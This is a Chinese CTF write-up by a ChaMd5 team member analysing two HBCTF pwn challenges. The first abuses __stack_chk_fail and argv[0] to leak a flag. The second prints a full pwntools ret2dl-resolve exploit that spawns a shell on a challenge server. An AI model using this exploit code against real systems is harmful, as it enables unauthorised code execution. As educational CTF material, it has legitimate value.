HBCTF第一场2个pwn题的简单分析

ChaMd5安全团队所有文章均来源实战,为保证厂商安全信息,文章内容以思路为主。

需要转载,请先联系ChaMd5安全团队授权。

未经授权请勿转载。

HBCTF第一场2个pwn题的简单分析

From ChaMd5安全团队核心成员 hook

What is canary?

这题的简介纯属为了引出一个关键词canary,在缓冲区溢出保护机制里,canary是一个位于缓冲区和堆栈上的控制数据之间的一个随机值,用以监视缓冲区溢出。当缓冲区溢出时,要破坏的第一个数据通常是canary,因此对canary的失败验证可以是一个溢出的警报。(ps,为何取名为canary,可以去阅读“矿井中的金丝雀”)

回归正题,用nc(NetCat)连接ip去看看大概。

这个程序只是提供了一个输入name的功能,为了解决这个pwn题,我们先把附件下载来,用IDA6.8打开。通用套路,shift+f12查找字符串,选择“hello”那句进去

在后面双击进去函数

按下f5进行反编译,会呈现类似源码的伪代码

这里源码就很清晰了。

第一个sub_函数是从flag文件中读取内容,然后存入全局变量。

第二个sub_函数则是接受用户输出,并做了长度检查,要求<10个字符,否则就直接退出。

再进入里面的sub_804878A函数里

发现它是使用getchar()来获取用户的输入字符,当读取到回车(ascii码为10)时停止,而且它的输入长度没有做限制。所以这里可以用‘\0’字符来截断,让外部的strlen长度检查返回一个错误的长度。

接下来,我们可以用checksec命令来查询该文件使用了哪些防护技术。

(checksec在安装pwntools后会自带的,关于pwntools的安装方法这里推荐pcat的一篇博文http://pcat.cnblogs.com/p/5451780.html

这里发现有Canary保护,因此,直接覆盖栈上的函数地址方法行不通,但程序开头已经读取到flag了,所以想办法把读取到的flag打印出来就好。

在覆盖掉canary后,程序会异常退出,并提示”stack smashing detected ./xxxx terminated”。这里的错误信息是当函数返回时,检测到之前随机生成的canary已被改变,所以会运行程序中的__stack_chk_fail函数,打印出这些错误信息和进程名。而__stack_chk_fail函数在输出错误信息时,会用到下面的代码。

(来自https://github.com/lattera/glibc/blob/master/debug/fortify_fail.c)

其中进程名来自于__libc_argv[0],所以只要把存着flag的全局变量地址覆盖了__libc_argv[0]就好。

至于这个偏移地址通过gdb就可以轻松的算出来,所以最后整理的方法为

这里发现服务器返回的信息是以strace方式输出的,所以用grep过滤下就可得到flag。


infoLess

这种题目很多解法,当初是想着在没有信息泄漏的情况下get shell。

在这里使用了ret2dl的方法,构造了虚假的字符串表,修改了重定位中的索引,让dl_fixup返回execv函数的地址。

构造步骤就是伪造重定位字符串表,写入bss段,将伪造的地址写入dynamic索引信息,然后请求一个未执行过的函数fflush,传入binSH,执行system(“/binsh”)

exp如下:

#!/usr/bin/python

# -*- coding:utf-8 -*- 

 

from pwn import *

from time import *

 

vulFunAddr = 0x080484CB

readpltAddr = 0x08048380

fflushpltAddr = 0x08048390

dynstrInDynamicAddr = 0x08049750

bssAddr = 0x08049820

 

strTable = ['', 'libc.so.6','_IO_stdin_used', 'fflush', 'stdin', 'read', 'stdout', 'stderr', 'setvbuf','__libc_start_main', '__gmon_start__', 'GLIBC_2.0', '']

strTable[3] = 'system'

#将伪造的dynstr表中的fflush函数给换成system

binShellStr = '/bin/sh\0'

expOffset = 22

payloadHead = 'a'*expOffset

 

def writeStrTableToBSS(baseAddr):

   tempBSS = baseAddr

    #循环写入伪造的dynstr表

   for i in strTable:

       str = i + chr(0)

       payloadTemp = payloadHead + p32(readpltAddr) + p32(vulFunAddr) + p32(0)+ p32(tempBSS) + p32(len(str)+1)

       p.send(payloadTemp)

       sleep(0.1)

       p.send(str)

       tempBSS = tempBSS + len(str)

       sleep(0.1)

 

p = remote('123.206.81.66', 8888)

#p = remote('127.0.0.1', 8888)

#p = process('./infoless')

context.log_level = 'debug'

 

#step 1: 将binShStr写入可写的bss段中

payload1 = payloadHead + p32(readpltAddr) +p32(vulFunAddr) + p32(0) + p32(bssAddr) + p32(8)

p.send(payload1)

sleep(0.1)

p.send(binShellStr)

sleep(0.1)

 

#step 2: 将伪造的dynstr表写入binShStr后面

dynstrInBSSAddr = bssAddr +len(binShellStr) + 4

writeStrTableToBSS(dynstrInBSSAddr)

 

#step 3: 将伪造的dynstr表地址写入dynamic中相对应的索引地址

payload2 = payloadHead + p32(readpltAddr) +p32(vulFunAddr) + p32(0) + p32(dynstrInDynamicAddr) + p32(4)

p.send(payload2)

sleep(0.1)

p.send(p32(dynstrInBSSAddr))

sleep(0.1)

 

#step 4:getshell

payload3 = payloadHead + p32(fflushpltAddr)+ p32(vulFunAddr) + p32(bssAddr)

p.send(payload3)

sleep(0.1)



p.interactive()

因为网络的问题,有时可能执行不成功,重执行下就好。

原文发布于微信公众号 - ChaMd5安全团队(chamd5sec)

原文发表时间:2017-04-08

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏*坤的Blog

Java分层概念(转)

1K40
来自专栏章鱼的慢慢技术路

《算法图解》第五章笔记与课后练习_散列函数与散列表

19050
来自专栏瓜大三哥

​UVM(九)之sequencej机制续1

UVM(九)之sequencej机制续1 当一个sequence启动起来之后,UVM会自动执行sequence的body任务,所以要产生各种和杨的激励,就要写好...

287100
来自专栏FreeBuf

挖洞经验 | 如何在一条UPDATE查询中实现SQL注入

前段时间,我在对Synack漏洞平台上的一个待测试目标进行测试的过程中发现了一个非常有意思的SQL注入漏洞,所以我打算在这篇文章中好好给大家介绍一下这个有趣的漏...

28650
来自专栏Golang语言社区

Golang使用pprof监控性能及GC调优

作者:峰云就她了 链接:http://xiaorui.cc/?p=3000 來源:个人博客

46630
来自专栏程序员宝库

JAVA 中异常处理的最佳实践

前言 异常处理的问题之一是知道何时以及如何去使用它。我会讨论一些异常处理的最佳实践,也会总结最近在异常处理上的一些争论。 作为程序员,我们想要写高质量的能够解决...

32980
来自专栏IMWeb前端团队

【原译】javascript中的错误处理

本文作者:IMWeb ouven 原文出处:IMWeb社区 未经同意,禁止转载 【原译】javascript中的正确错误处理 A Guide to P...

25790
来自专栏章鱼的慢慢技术路

《算法图解》第五章笔记与课后练习

23640
来自专栏Java帮帮-微信公众号-技术文章全总结

Java并发编程,一定要有自己的理解【面试+工作】

编写优质的并发代码是一件难度极高的事情。Java语言从第一版本开始内置了对多线程的支持,这一点在当年是非常了不起的,但是当我们对并发编程有了更深刻的认识和更多的...

17770
来自专栏python3

python .pyc是个什么啥?

我初学Python时,听到的关于Python的第一句话就是,Python是一门解释性语言,我就这样一直相信下去,直到发现了*.pyc文件的存在。如果是解释型语言...

15310

扫码关注云+社区

领取腾讯云代金券